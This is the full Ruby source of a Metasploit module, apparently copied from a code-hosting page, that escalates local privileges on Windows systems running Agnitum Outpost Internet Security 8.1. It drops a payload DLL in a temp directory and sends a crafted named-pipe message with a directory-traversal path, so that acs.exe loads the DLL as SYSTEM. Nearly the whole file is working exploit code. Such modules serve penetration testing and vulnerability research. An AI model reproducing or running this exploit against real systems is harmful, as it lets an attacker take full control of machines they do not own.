174 lines
5.2 KiB
Ruby
174 lines
5.2 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex'
|
|
|
|
class Metasploit3 < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::EXE
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::Windows::Process
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info={})
|
|
super(update_info(info, {
|
|
'Name' => 'Agnitum Outpost Internet Security Local Privilege Escalation',
|
|
'Description' => %q{
|
|
This module exploits a directory traversal vulnerability on Agnitum Outpost Internet
|
|
Security 8.1. The vulnerability exists in the acs.exe component, allowing the user to load
|
|
load arbitrary DLLs through the acsipc_server named pipe, and finally execute arbitrary
|
|
code with SYSTEM privileges. This module has been tested successfully on Windows 7 SP1 with
|
|
Agnitum Outpost Internet Security 8.1 (32 bits and 64 bits versions).
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Ahmad Moghimi', # Vulnerability discovery
|
|
'juan vazquez' # MSF module
|
|
],
|
|
'Arch' => [ARCH_X86, ARCH_X86_64],
|
|
'Platform' => 'win',
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'Privileged' => true,
|
|
'Targets' =>
|
|
[
|
|
[ 'Agnitum Outpost Internet Security 8.1', { } ],
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'Space' => 2048,
|
|
'DisableNops' => true
|
|
},
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '96208' ],
|
|
[ 'EDB', '27282' ],
|
|
[ 'URL', 'http://mallocat.com/a-journey-to-antivirus-escalation/' ]
|
|
],
|
|
'DisclosureDate' => 'Aug 02 2013',
|
|
'DefaultTarget' => 0
|
|
}))
|
|
|
|
register_options([
|
|
# It is OptPath becuase it's a *remote* path
|
|
OptString.new("WritableDir", [ false, "A directory where we can write files (%TEMP% by default)" ]),
|
|
# By default acs.exe lives on C:\Program Files\Agnitum\Outpost Security Suite Pro\
|
|
OptInt.new("DEPTH", [ true, "Traversal depth", 3 ])
|
|
], self.class)
|
|
|
|
|
|
end
|
|
|
|
def junk
|
|
return rand_text_alpha(4).unpack("V").first
|
|
end
|
|
|
|
def open_named_pipe(pipe)
|
|
invalid_handle_value = 0xFFFFFFFF
|
|
|
|
r = session.railgun.kernel32.CreateFileA(pipe, "GENERIC_READ | GENERIC_WRITE", 0x3, nil, "OPEN_EXISTING", "FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL", 0)
|
|
|
|
handle = r['return']
|
|
|
|
if handle == invalid_handle_value
|
|
return nil
|
|
end
|
|
|
|
return handle
|
|
end
|
|
|
|
def write_named_pipe(handle, dll_path, dll_name)
|
|
|
|
traversal_path = "..\\" * datastore["DEPTH"]
|
|
traversal_path << dll_path.gsub(/^[a-zA-Z]+:\\/, "")
|
|
traversal_path << "\\#{dll_name}"
|
|
|
|
path = Rex::Text.to_unicode(traversal_path)
|
|
|
|
data = "\x00" * 0x11
|
|
data << path
|
|
data << "\x00\x00"
|
|
data << "\x00\x00\x00"
|
|
|
|
buf = [0xd48a445e, 0x466e1597, 0x327416ba, 0x68ccde15].pack("V*") # GUID common_handler
|
|
buf << [0x17].pack("V") # command
|
|
buf << [junk].pack("V")
|
|
buf << [data.length].pack("V")
|
|
buf << [0, 0, 0].pack("V*")
|
|
buf << data
|
|
|
|
w = client.railgun.kernel32.WriteFile(handle, buf, buf.length, 4, nil)
|
|
|
|
if w['return'] == false
|
|
print_error("The was an error writing to disk, check permissions")
|
|
return nil
|
|
end
|
|
|
|
return w['lpNumberOfBytesWritten']
|
|
end
|
|
|
|
|
|
def check
|
|
handle = open_named_pipe("\\\\.\\pipe\\acsipc_server")
|
|
if handle.nil?
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
session.railgun.kernel32.CloseHandle(handle)
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
|
|
def exploit
|
|
|
|
temp_dir = ""
|
|
|
|
print_status("Opening named pipe...")
|
|
handle = open_named_pipe("\\\\.\\pipe\\acsipc_server")
|
|
if handle.nil?
|
|
fail_with(Failure::NoTarget, "\\\\.\\pipe\\acsipc_server named pipe not found")
|
|
else
|
|
print_good("\\\\.\\pipe\\acsipc_server found! Proceeding...")
|
|
end
|
|
|
|
if datastore["WritableDir"] and not datastore["WritableDir"].empty?
|
|
temp_dir = datastore["WritableDir"]
|
|
else
|
|
temp_dir = client.sys.config.getenv('TEMP')
|
|
end
|
|
|
|
print_status("Using #{temp_dir} to drop malicious DLL...")
|
|
begin
|
|
cd(temp_dir)
|
|
rescue Rex::Post::Meterpreter::RequestError
|
|
session.railgun.kernel32.CloseHandle(handle)
|
|
fail_with(Failure::BadConfig, "Failed to use the #{temp_dir} directory")
|
|
end
|
|
|
|
print_status("Writing malicious DLL to remote filesystem")
|
|
write_path = pwd
|
|
dll_name = "#{rand_text_alpha(10 + rand(10))}.dll"
|
|
begin
|
|
# Agnitum Outpost Internet Security doesn't complain when dropping the dll to filesystem
|
|
write_file(dll_name, generate_payload_dll)
|
|
register_file_for_cleanup("#{write_path}\\#{dll_name}")
|
|
rescue Rex::Post::Meterpreter::RequestError
|
|
session.railgun.kernel32.CloseHandle(handle)
|
|
fail_with(Failure::BadConfig, "Failed to drop payload into #{temp_dir}")
|
|
end
|
|
|
|
print_status("Exploiting through \\\\.\\pipe\\acsipc_server...")
|
|
bytes = write_named_pipe(handle, write_path, dll_name)
|
|
session.railgun.kernel32.CloseHandle(handle)
|
|
|
|
if bytes.nil?
|
|
fail_with(Failure::Unknown, "Failed while writing to \\\\.\\pipe\\acsipc_server")
|
|
end
|
|
|
|
end
|
|
|
|
end
|